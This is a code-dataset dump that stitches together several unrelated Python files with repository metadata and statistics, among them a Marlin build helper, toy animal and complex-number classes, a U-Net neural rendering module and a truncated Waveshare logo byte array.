## @defgroup Analyses-Mission-Segments-Transition Transition # Segments for transition flight # @ingroup Analyses-Mission-Segments from .Constant_Acceleration_Constant_Pitchrate_Constant_Altitude import Constant_Acceleration_Constant_Pitchrate_Constant_Altitude from .Constant_Acceleration_Constant_Angle_Linear_Climb import Constant_Acceleration_Constant_Angle_Linear_Climb from .Lift_Cruise_Optimized import Lift_Cruise_Optimized

54.125

130

0.909931

50

433

7.4

0.4

0.216216

0.302703

0.172973

0.524324

0

0.057737

433

7

131

61.857143

0.906863

0.284065

0

1

0

true

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

f0c021fca73e3a61b53f56857b3f2f9bf3e65ad4

241

py

Python

MarlinFirmware/buildroot/share/PlatformIO/scripts/pioutil.py

risapav/cnc_stroj_v2

53a480859b7202386789e30ca5f74ea4140b7693

[ "MIT" ]

null

MarlinFirmware/buildroot/share/PlatformIO/scripts/pioutil.py

risapav/cnc_stroj_v2

53a480859b7202386789e30ca5f74ea4140b7693

[ "MIT" ]

null

MarlinFirmware/buildroot/share/PlatformIO/scripts/pioutil.py

risapav/cnc_stroj_v2

53a480859b7202386789e30ca5f74ea4140b7693

[ "MIT" ]

null

# # buildroot/share/PlatformIO/scripts/pioutil.py # # Detect that 'vscode init' is running def is_vscode_init(): from SCons.Script import COMMAND_LINE_TARGETS return "idedata" in COMMAND_LINE_TARGETS or "_idedata" in COMMAND_LINE_TARGETS

26.777778

79

0.804979

35

241

5.285714

0.685714

0.178378

0.291892

0.216216

0.291892

0

0.116183

241

8

80

30.125

0.868545

0.340249

0

0.097403

0

1

0.333333

true

0

0.333333

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

1

0

7

f0c5166eb12cfb1a91b44d3fc2a6469217bacb34

325

py

Python

enjoy/005_20210731/live_coding/animals.py

fkubota/enjoy-vim

f1f87ff569ebeea3b84993add200a2c7125cab7a

[ "MIT" ]

26

2021-02-19T11:59:05.000Z

2022-03-07T02:36:18.000Z

enjoy/005_20210731/live_coding/animals.py

fkubota/enjoy-vim

f1f87ff569ebeea3b84993add200a2c7125cab7a

[ "MIT" ]

5

2021-02-19T13:18:20.000Z

2021-02-28T23:59:08.000Z

enjoy/005_20210731/live_coding/animals.py

fkubota/enjoy-vim

f1f87ff569ebeea3b84993add200a2c7125cab7a

[ "MIT" ]

null

class dog: def __init__(self, name): self.name = name self.genki = 0 def bark(self): print(f'({self.name})wan{"!"*self.genki}') class cat: def __init__(self, name): self.name = name self.genki = 0 def bark(self): print(f'({self.name})miaw{"!"*self.genki}')

19.117647

51

0.532308

44

325

3.75

0.318182

0.290909

0.133333

0.181818

0.751515

0

0.008734

0.295385

325

16

52

20.3125

0.71179

0

0.666667

0

0.2

0

1

0.333333

false

0

0.5

0.166667

0

null

1

0

1

0

1

0

null

0

1

0

8

f0f6fd970d9c2f56709c49d87b9bd4346a2edd0c

2,282

py

Python

035_polimorfism.py

MikePolyakov/python_book

497681e8a167918a19ae737960c9c86ebffa9e91

[ "MIT" ]

null

035_polimorfism.py

MikePolyakov/python_book

497681e8a167918a19ae737960c9c86ebffa9e91

[ "MIT" ]

null

035_polimorfism.py

MikePolyakov/python_book

497681e8a167918a19ae737960c9c86ebffa9e91

[ "MIT" ]

null

class ComplexError(BaseException): def __init__(self, Complex, other): self.arg1 = Complex self.arg2 = other class Complex: def __init__(self, re=0, im=0): self.re = re self.im = im def __str__(self): strRep = str(self.re) if self.im >= 0: strRep += '+' strRep += str(self.im) + 'i' return strRep def __add__(self, other): newRe = self.re + other.re newIm = self.im + other.im return Complex(newRe, newIm) def __mul__(self, other): if isinstance(other, Complex): newRe = self.re * other.re - self.im * other.im newIm = self.re * other.im + self.re * other.im elif isinstance(other, int) or isinstance(other, float): newRe = self.re * other newIm = self.im * other else: raise ComplexError(self, other) return Complex(newRe, newIm) __rmul__ = __mul__ class Point(Complex): def length(self): return (self.re**2 + self.im**2)**(1/2) a = Point(3, 4) b = Complex(1, 2) print(a.length()) c = a + b print(c) class ComplexError(BaseException): def __init__(self, Complex, other): self.arg1 = Complex self.arg2 = other class Complex: def __init__(self, re=0, im=0): self.re = re self.im = im def __str__(self): strRep = str(self.re) if self.im >= 0: strRep += '+' strRep += str(self.im) + 'i' return strRep def __add__(self, other): newRe = self.re + other.re newIm = self.im + other.im return Complex(newRe, newIm) def __mul__(self, other): if isinstance(other, Complex): newRe = self.re * other.re - self.im * other.im newIm = self.re * other.im + self.re * other.im elif isinstance(other, int) or isinstance(other, float): newRe = self.re * other newIm = self.im * other else: raise ComplexError(self, other) return Complex(newRe, newIm) __rmul__ = __mul__ class Point(Complex): def length(self): return (self.re**2 + self.im**2)**(1/2) def __str__(self): return str((self.re, self.im)) a = Point(3, 4) print(a)

27.829268

64

0.551271

299

2,282

4.006689

0.133779

0.095159

0.09182

0.080134

0.929883

0

0.015514

0.322086

2,282

81

65

28.17284

0.758888

0

0.917808

0

0.001754

0

1

0.178082

false

0

0.041096

0.410959

0.041096

0

null

0

1

0

1

0

null

0

7

0b0724d46d1291285a2f5eeea0b158f6e877bc62

17,496

py

Python

Neural Rendering Network/models/UNET.py

shoveling-pig/NeuralVoicePuppetry

04e448ca29dfad07f1d0940cd1adf300e8f590f9

[ "BSD-3-Clause" ]

66

2021-04-23T02:17:45.000Z

2022-03-26T03:45:40.000Z

Neural Rendering Network/models/UNET.py

KimNguyenMai/NeuralVoicePuppetry

0fc75ba2edfdfd5655984f1515bfe06de880d91d

[ "BSD-3-Clause" ]

null

Neural Rendering Network/models/UNET.py

KimNguyenMai/NeuralVoicePuppetry

0fc75ba2edfdfd5655984f1515bfe06de880d91d

[ "BSD-3-Clause" ]

47

2021-04-24T17:29:58.000Z

2022-03-26T03:45:46.000Z

import os import torch import torch.nn as nn import torchvision.transforms as transforms from util.image_pool import ImagePool from .base_model import BaseModel from . import networks import numpy as np import functools from PIL import Image from util import util from torchvision import models from collections import namedtuple class UnetSkipConnectionBlock(nn.Module): def __init__(self, outer_nc, inner_nc, input_nc=None, submodule=None, outermost=False, innermost=False, norm_layer=nn.BatchNorm2d, use_dropout=False): super(UnetSkipConnectionBlock, self).__init__() self.outermost = outermost if type(norm_layer) == functools.partial: use_bias = norm_layer.func == nn.InstanceNorm2d else: use_bias = norm_layer == nn.InstanceNorm2d if input_nc is None: input_nc = outer_nc #use_norm = False use_norm = True downconv = nn.Conv2d(input_nc, inner_nc, kernel_size=4, stride=2, padding=1, bias=use_bias) downrelu = nn.LeakyReLU(0.2, True) if use_norm: downnorm = norm_layer(inner_nc) uprelu = nn.ReLU(True) if use_norm: upnorm = norm_layer(outer_nc) if outermost: upconv = nn.ConvTranspose2d(inner_nc * 2, outer_nc, kernel_size=4, stride=2, padding=1) down = [downconv] up = [uprelu, upconv, nn.Tanh()] model = down + [submodule] + up elif innermost: upconv = nn.ConvTranspose2d(inner_nc, outer_nc, kernel_size=4, stride=2, padding=1, bias=use_bias) down = [downrelu, downconv] if use_norm: up = [uprelu, upconv, upnorm] else: up = [uprelu, upconv] model = down + up else: upconv = nn.ConvTranspose2d(inner_nc * 2, outer_nc, kernel_size=4, stride=2, padding=1, bias=use_bias) if use_norm: down = [downrelu, downconv, downnorm] down = [downrelu, downconv] if use_norm: up = [uprelu, upconv, upnorm] else: up = [uprelu, upconv] if use_dropout: model = down + [submodule] + up + [nn.Dropout(0.5)] else: model = down + [submodule] + up self.model = nn.Sequential(*model) def forward(self, x): if self.outermost: return self.model(x) else: return torch.cat([x, self.model(x)], 1) # with bilinear upsampling class UnetSkipConnectionBlock_BU(nn.Module): def __init__(self, outer_nc, inner_nc, input_nc=None, submodule=None, outermost=False, innermost=False, norm_layer=nn.BatchNorm2d, use_dropout=False): super(UnetSkipConnectionBlock_BU, self).__init__() self.outermost = outermost if type(norm_layer) == functools.partial: use_bias = norm_layer.func == nn.InstanceNorm2d else: use_bias = norm_layer == nn.InstanceNorm2d if input_nc is None: input_nc = outer_nc #use_norm = False use_norm = True downconv = nn.Conv2d(input_nc, inner_nc, kernel_size=4, stride=2, padding=1, bias=use_bias) downrelu = nn.LeakyReLU(0.2, True) if use_norm: downnorm = norm_layer(inner_nc) uprelu = nn.ReLU(True) if use_norm: upnorm = norm_layer(outer_nc) if outermost: #upconv = nn.ConvTranspose2d(inner_nc * 2, outer_nc, kernel_size=4, stride=2, padding=1) upconv = nn.Sequential( nn.Upsample(scale_factor=2, mode="bilinear", align_corners=False), nn.Conv2d(inner_nc * 2, outer_nc, kernel_size=3, stride=1, padding=1, bias=use_bias), nn.LeakyReLU(0.2, True) ) down = [downconv] up = [uprelu, upconv, nn.Tanh()] model = down + [submodule] + up elif innermost: #upconv = nn.ConvTranspose2d(inner_nc, outer_nc, kernel_size=4, stride=2, padding=1, bias=use_bias) upconv = nn.Sequential( nn.Upsample(scale_factor=2, mode="bilinear", align_corners=False), nn.Conv2d(inner_nc, outer_nc, kernel_size=3, stride=1, padding=1, bias=use_bias), nn.LeakyReLU(0.2, True) ) down = [downrelu, downconv] if use_norm: up = [uprelu, upconv, upnorm] else: up = [uprelu, upconv] model = down + up else: #upconv = nn.ConvTranspose2d(inner_nc * 2, outer_nc, kernel_size=4, stride=2, padding=1, bias=use_bias) upconv = nn.Sequential( nn.Upsample(scale_factor=2, mode="bilinear", align_corners=False), nn.Conv2d(inner_nc * 2, outer_nc, kernel_size=3, stride=1, padding=1, bias=use_bias), nn.LeakyReLU(0.2, True) ) if use_norm: down = [downrelu, downconv, downnorm] down = [downrelu, downconv] if use_norm: up = [uprelu, upconv, upnorm] else: up = [uprelu, upconv] if use_dropout: model = down + [submodule] + up + [nn.Dropout(0.5)] else: model = down + [submodule] + up self.model = nn.Sequential(*model) def forward(self, x): if self.outermost: return self.model(x) else: return torch.cat([x, self.model(x)], 1) # dilated convs, without downsampling class UnetSkipConnectionBlock_DC(nn.Module): def __init__(self, outer_nc, inner_nc, input_nc=None, submodule=None, outermost=False, innermost=False, norm_layer=nn.BatchNorm2d, use_dropout=False, dilation=1): super(UnetSkipConnectionBlock_DC, self).__init__() self.outermost = outermost if type(norm_layer) == functools.partial: use_bias = norm_layer.func == nn.InstanceNorm2d else: use_bias = norm_layer == nn.InstanceNorm2d if input_nc is None: input_nc = outer_nc #use_norm = False use_norm = True #downconv = nn.Conv2d(input_nc, inner_nc, kernel_size=4, stride=2, dilation=dilation, padding=1, bias=use_bias) downconv = nn.Conv2d(input_nc, inner_nc, kernel_size=3, stride=1, dilation=dilation, padding=1*dilation, bias=use_bias) downrelu = nn.LeakyReLU(0.2, True) if use_norm: downnorm = norm_layer(inner_nc) uprelu = nn.ReLU(True) if use_norm: upnorm = norm_layer(outer_nc) if outermost: #upconv = nn.ConvTranspose2d(inner_nc * 2, outer_nc, kernel_size=4, stride=2, padding=1) upconv = nn.Sequential( nn.Conv2d(inner_nc * 2, outer_nc, kernel_size=3, stride=1, dilation=1, padding=1, bias=use_bias), nn.LeakyReLU(0.2, True) ) down = [downconv] up = [uprelu, upconv, nn.Tanh()] model = down + [submodule] + up elif innermost: #upconv = nn.ConvTranspose2d(inner_nc, outer_nc, kernel_size=4, stride=2, padding=1, bias=use_bias) upconv = nn.Sequential( nn.Conv2d(inner_nc, outer_nc, kernel_size=3, stride=1, dilation=1, padding=1, bias=use_bias), nn.LeakyReLU(0.2, True) ) down = [downrelu, downconv] if use_norm: up = [uprelu, upconv, upnorm] else: up = [uprelu, upconv] model = down + up else: #upconv = nn.ConvTranspose2d(inner_nc * 2, outer_nc, kernel_size=4, stride=2, padding=1, bias=use_bias) upconv = nn.Sequential( nn.Conv2d(inner_nc * 2, outer_nc, kernel_size=3, stride=1, dilation=1, padding=1, bias=use_bias), nn.LeakyReLU(0.2, True) ) if use_norm: down = [downrelu, downconv, downnorm] down = [downrelu, downconv] if use_norm: up = [uprelu, upconv, upnorm] else: up = [uprelu, upconv] if use_dropout: model = down + [submodule] + up + [nn.Dropout(0.5)] else: model = down + [submodule] + up self.model = nn.Sequential(*model) def forward(self, x): if self.outermost: return self.model(x) else: return torch.cat([x, self.model(x)], 1) class UnetRenderer(nn.Module): def __init__(self, renderer, input_nc, output_nc, ngf=64, norm_layer=nn.BatchNorm2d, use_dropout=False): super(UnetRenderer, self).__init__() # construct unet structure if renderer=='UNET_8_level_BU': print('>>>> UNET_8_level_BU <<<<') num_downs = 8 unet_block = UnetSkipConnectionBlock_BU(ngf * 8, ngf * 8, input_nc=None, submodule=None, norm_layer=norm_layer, innermost=True) for i in range(num_downs - 5): unet_block = UnetSkipConnectionBlock_BU(ngf * 8, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer, use_dropout=use_dropout) unet_block = UnetSkipConnectionBlock_BU(ngf * 4, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock_BU(ngf * 2, ngf * 4, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock_BU(ngf, ngf * 2, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock_BU(output_nc, ngf, input_nc=input_nc, submodule=unet_block, outermost=True, norm_layer=norm_layer) elif renderer=='UNET_6_level_BU': print('>>>> UNET_6_level_BU <<<<') num_downs = 6 unet_block = UnetSkipConnectionBlock_BU(ngf * 8, ngf * 8, input_nc=None, submodule=None, norm_layer=norm_layer, innermost=True) for i in range(num_downs - 5): unet_block = UnetSkipConnectionBlock_BU(ngf * 8, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer, use_dropout=use_dropout) unet_block = UnetSkipConnectionBlock_BU(ngf * 4, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock_BU(ngf * 2, ngf * 4, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock_BU(ngf, ngf * 2, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock_BU(output_nc, ngf, input_nc=input_nc, submodule=unet_block, outermost=True, norm_layer=norm_layer) elif renderer=='UNET_5_level_BU': print('>>>> UNET_5_level_BU <<<<') num_downs = 5 unet_block = UnetSkipConnectionBlock_BU(ngf * 8, ngf * 8, input_nc=None, submodule=None, norm_layer=norm_layer, innermost=True) for i in range(num_downs - 5): unet_block = UnetSkipConnectionBlock_BU(ngf * 8, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer, use_dropout=use_dropout) unet_block = UnetSkipConnectionBlock_BU(ngf * 4, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock_BU(ngf * 2, ngf * 4, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock_BU(ngf, ngf * 2, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock_BU(output_nc, ngf, input_nc=input_nc, submodule=unet_block, outermost=True, norm_layer=norm_layer) elif renderer=='UNET_3_level_BU': print('>>>> UNET_3_level_BU <<<<') unet_block = UnetSkipConnectionBlock_BU(ngf * 2, ngf * 8, input_nc=None, submodule=None, norm_layer=norm_layer, innermost=True) unet_block = UnetSkipConnectionBlock_BU(ngf, ngf * 2, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock_BU(output_nc, ngf, input_nc=input_nc, submodule=unet_block, outermost=True, norm_layer=norm_layer) elif renderer=='UNET_8_level': print('>>>> UNET_8_level <<<<') num_downs = 8 unet_block = UnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=None, norm_layer=norm_layer, innermost=True) for i in range(num_downs - 5): unet_block = UnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer, use_dropout=use_dropout) unet_block = UnetSkipConnectionBlock(ngf * 4, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock(ngf * 2, ngf * 4, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock(ngf, ngf * 2, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock(output_nc, ngf, input_nc=input_nc, submodule=unet_block, outermost=True, norm_layer=norm_layer) elif renderer=='UNET_6_level': print('>>>> UNET_6_level <<<<') num_downs = 6 unet_block = UnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=None, norm_layer=norm_layer, innermost=True) for i in range(num_downs - 5): unet_block = UnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer, use_dropout=use_dropout) unet_block = UnetSkipConnectionBlock(ngf * 4, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock(ngf * 2, ngf * 4, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock(ngf, ngf * 2, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock(output_nc, ngf, input_nc=input_nc, submodule=unet_block, outermost=True, norm_layer=norm_layer) elif renderer=='UNET_5_level': print('>>>> UNET_5_level <<<<') num_downs = 5 unet_block = UnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=None, norm_layer=norm_layer, innermost=True) for i in range(num_downs - 5): unet_block = UnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer, use_dropout=use_dropout) unet_block = UnetSkipConnectionBlock(ngf * 4, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock(ngf * 2, ngf * 4, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock(ngf, ngf * 2, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock(output_nc, ngf, input_nc=input_nc, submodule=unet_block, outermost=True, norm_layer=norm_layer) elif renderer=='UNET_3_level': print('>>>> UNET_3_level <<<<') unet_block = UnetSkipConnectionBlock(ngf * 2, ngf * 8, input_nc=None, submodule=None, norm_layer=norm_layer, innermost=True) unet_block = UnetSkipConnectionBlock(ngf, ngf * 2, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock(output_nc, ngf, input_nc=input_nc, submodule=unet_block, outermost=True, norm_layer=norm_layer) elif renderer=='UNET_5_level_DC': print('>>>> UNET_5_level_DC <<<<') num_downs = 5 dilation = 1 unet_block = UnetSkipConnectionBlock_DC(ngf * 8, ngf * 8, input_nc=None, submodule=None, norm_layer=norm_layer, innermost=True, dilation=dilation) for i in range(num_downs - 5): dilation *= 2 unet_block = UnetSkipConnectionBlock_DC(ngf * 8, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer, use_dropout=use_dropout, dilation=dilation) dilation *= 2 unet_block = UnetSkipConnectionBlock_DC(ngf * 4, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer, dilation=dilation) dilation *= 2 unet_block = UnetSkipConnectionBlock_DC(ngf * 2, ngf * 4, input_nc=None, submodule=unet_block, norm_layer=norm_layer, dilation=dilation) dilation *= 2 unet_block = UnetSkipConnectionBlock_DC(ngf, ngf * 2, input_nc=None, submodule=unet_block, norm_layer=norm_layer, dilation=dilation) dilation *= 2 unet_block = UnetSkipConnectionBlock_DC(output_nc, ngf, input_nc=input_nc, submodule=unet_block, outermost=True, norm_layer=norm_layer, dilation=dilation) elif renderer=='UNET_3_level_DC': print('>>>> UNET_3_level_DC <<<<') dilation = 1 unet_block = UnetSkipConnectionBlock_DC(ngf * 2, ngf * 8, input_nc=None, submodule=None, norm_layer=norm_layer, innermost=True, dilation=dilation) dilation *= 2 unet_block = UnetSkipConnectionBlock_DC(ngf, ngf * 2, input_nc=None, submodule=unet_block, norm_layer=norm_layer, dilation=dilation) dilation *= 2 unet_block = UnetSkipConnectionBlock_DC(output_nc, ngf, input_nc=input_nc, submodule=unet_block, outermost=True, norm_layer=norm_layer, dilation=dilation) self.model = unet_block def forward(self, expressions, audio_features, features, background): unet_input = torch.cat([features, background], 1) return self.model(unet_input)

55.367089

177

0.646605

2,245

17,496

4.783074

0.053898

0.101416

0.151984

0.085491

0.913485

0.907897

0.901565

0.889365

0.885454

0.876234

0

0.018915

0.250629

17,496

316

178

55.367089

0.800092

0.046754

0

0.75

0

0.024001

0

1

0.030303

false

0

0.049242

0

0.121212

0.037879

0

null

0

1

0

1

0

null

0

7

9bfaebb64c87e5acc2516b614134f424729f0778

86,797

py

Python

includes/waveshare.py

oprema/Waveshare-E-Ink

8c69974aa74e1cabd25a5b9873257fcd20aa81c1

[ "MIT" ]

53

2018-02-27T19:06:46.000Z

2021-12-30T04:09:03.000Z

includes/waveshare.py

oprema/waveshare-e-ink

8c69974aa74e1cabd25a5b9873257fcd20aa81c1

[ "MIT" ]

2

2018-11-28T09:52:07.000Z

2019-08-10T14:24:52.000Z

includes/waveshare.py

oprema/waveshare-e-ink

8c69974aa74e1cabd25a5b9873257fcd20aa81c1

[ "MIT" ]

9

2018-08-24T13:02:56.000Z

2019-06-17T07:35:37.000Z

# Waveshare Logos waveshare_128x296 = [ 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 